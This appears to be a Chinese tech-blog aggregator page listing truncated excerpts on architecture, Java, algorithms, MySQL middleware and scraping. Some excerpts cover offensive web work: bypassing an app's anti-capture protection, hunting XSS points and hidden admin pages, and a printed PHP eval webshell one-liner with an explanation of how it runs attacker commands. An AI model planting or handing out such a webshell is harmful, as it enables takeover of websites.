(一)有志于成为架构师

架构理念: (1)架构,是能支持“高质,高效,快速,安全,低成本”系统交付的设计方法 (2)任何脱离业务的架构设计都是耍流氓 (3)架构不只是设计而来的,更是进化而来
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

遇到APP提示防抓包策略

遇到APP无法抓包怎么办 比如:现金借款app 如果一打开抓包工具(Charles,Fiddler)出现以下情况 可以用以下方法解决: 安装 VirtualXposed_0.18.2.apk
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

(二)创业初期,技术如何选型?

总结 (1)技术选型,先看业务需求,任务脱离需求的技术选型,就是耍流氓 (2)早期架构:ALL in one (3)早期造型依据:熟悉的,擅长的 (4)建议选型:PHP体系(Linux,Apache,MySQL,PHP),JAVA体系(Linux,Tomcat,MySQL,Java) (5)早期主要矛盾:业务开发效率与质量低,CURD出错 (6)早期重要组件:DAO/ORM
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

springboot集成缓存开发

一、搭建基本环境(springboot++springmvc+mybatis) 引入cache、web、mysql、mybatis模块创建工程 导入数据库文件 创建出department和employee表 创建javaBean封装数据 public class Department { private Integer id; private String departmentName; public Department() {
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

你一个 F12 能秒我?

参考文章 思路决定成败:F12给了我黑色的眼睛我却用它来挖洞 前言 了解大佬的思路才知道自己现在学的到底有多浅。 还没有到点,我就已经进入状态了,生而为人,我很抱歉。 F12 的骚操作 Elements ctrl+f 找可能的 XSS 参数输出点 找后台 有时候拿个网站路径扫描工具扫后台时,没有一个强大的字典很难真正扫到东西,即使有个好字典也不一定能扫出来。有时候其后台登陆藏得很深。 有的网站为了不让一般用户轻易找到后台入口,常常给 a 标签设置一个 hidden 属性,把后台登陆链接隐藏起来
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

LL黑科技:如何用EGF做伯努利数做的事情

\(n^m=e^{nx}[x^m] \times m!\),这么做的好处是指数固定。 \(=\sum_{i=0}^n e^{ix} [x^m] \times m!\) \(=\frac{e^{(n+1)x} - 1}{e^x-1} [x^m] \times m!\) 上下同除一个\(x\)先,多项式求逆就可以做了。 如果只求一个的话,不如直接插值。 观察式子,首先对一个固定的\(n\),可以快速求出\([x^{1..m}]\),也就是\(1-m\)次和都算出来了。 再看,当\(m\)固定时,对
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

first-network

1.  在first-network中使用solo排序服务的情况下,排序节点被看作一个管理节点,它给不同的组织提供了对于网络的管理的权限。 2.  
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

linux 环境中,top命令中,对command的命令进行扩展查看详情?

命令比较长时,显示不全(全称,全名),可以用 top -c
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

JavaIO流-对象流

import org.junit.Test; import java.io.*; /** * 对象流 * 序列化 * 反序列化 * * * 要求对象所属的类必须是可序列化的 * 对象的序列化机制 * 作用:用于存储和读取基本数据类型数据或对象的处理 * * @author orz */ public class ObjectInputOutput { /**ObjectInputStream序列化 * 序列化过程:将内存中的java对象保存到磁盘中
分类: 其他 发布时间: 07-29 20:45 阅读次数: 0

拉格朗日插值浅谈

题目大意: 给你n个点$(x[i],y[i])$,请你用这n个点构造一个$n-1$次多项式$f(x)$,给定一个数$k$,求出$f(k)$的值. solution: 本题$n$的规模较小,是拉格朗日插值的模板题.拉格朗日插值的具体思路如下: 我们的目标是构造一个函数,使得对于所有的$i \in [1,n]$,有$f(x[i])=y[i]$,于是一个非常自然的想法便产生了:我们可以构造$n$个函数,使得$f_(x[i])=y[i],f_(x[j])=0(j\not= i)$,然后将这$n$个函数
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

删边最短路

删边最短路 裸体题洛谷 P1186玛丽卡 P1491集合位置 双倍经验 玛丽卡 跑最短路,求出玛丽卡最短时间,然后标记路径,使最短路径上的路径堵车,枚举每条路径,然后对答案取max #include<cstdio> #include<queue> #include<iostream> using namespace std; #define inf 0x7fffffff const int N=1010101; int n,m,head[N],cnt,dis[N],vis[N],numx,nu
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

pytorch 安装坑

https://download.pytorch.org/whl/torch_stable.html 这里直接下换源更快
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

简单爬取一个影院单个页面的所有电影名称

具体代码如下: import requests import re headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'}#创建头部信息 url = 'https://v.sogou.com/vertical/2w65l6nv47j3bnhtzcv4hyvx2g45x
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

在html页面中引入另一个html页面

我们在使用html编写一个网站的时候,通常情况下头部和尾部是相同的,如果一个网站的每个页面都把这些代码写一遍,不仅浪费时间,还显得重复代码很多,所以此时把重复的页面单独摘出来,在用到的时候从外部直接引进去,就能节省很多时间,减少很多代码。 在这里,有好几种引入html文件的方式,不过每种都是有利有弊,需要根据需要自行选择 如果有些浏览器本地实现不了,那么放到服务器上面!(重要!!!) 注意:引入后主页面的Css样式不适用于被引入页面,比如在主页面设置 <style type="text/css
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

wiki.js

wiki.js
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

Java学习第24天

继续
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

python 采集斗图啦xpath

import requests; import re; import os; import parsel; 1.请求网页 header = { "user-agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36' } response = requests.get('https://www.d
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

Atlas 读写分离

1.Atals介绍 1.简介 Atlas是由 Qihoo 360公司Web平台部基础架构团队开发维护的一个基于MySQL协议的数据中间层项目。它在MySQL官方推出的MySQL-Proxy 0.8.2版本的基础上,修改了大量bug,添加了很多功能特性。它在MySQL官方推出的MySQL-Proxy 0.8.2版本的基础上,修改了大量bug,添加了很多功能特性。 2.主要功能 1.读写分离 2.从库负载均衡 3.IP过滤 4.自动分表 5.DBA可平滑上下线DB 6.自动摘除宕机的DB 3.
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

Atlas结合MHA故障恢复

1.思路 1.找到新的主库 2.将新的主库从Atlas中配置下线 3.保存到配置文件 2.写脚本 [root@db03 ~]# vim switch_Atlas.sh #/bin/bash #1.获取新的主库IP new_master=`grep "as a new master" /service/mha/manager | tail -1 | awk -F '[ ,(]' '{print $2}'` #2.获取新的主库在Atlas中的ID new_master_id=`mysql -u
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0

关于PHP的一句话木马

原理:我一句话木马用我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。 例如:<?php @eval($_POST['a']);?> 其中 eval 就是执行命令的函数,$_POST['a'] 就是接收的数据。 eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们
分类: 其他 发布时间: 07-29 20:28 阅读次数: 0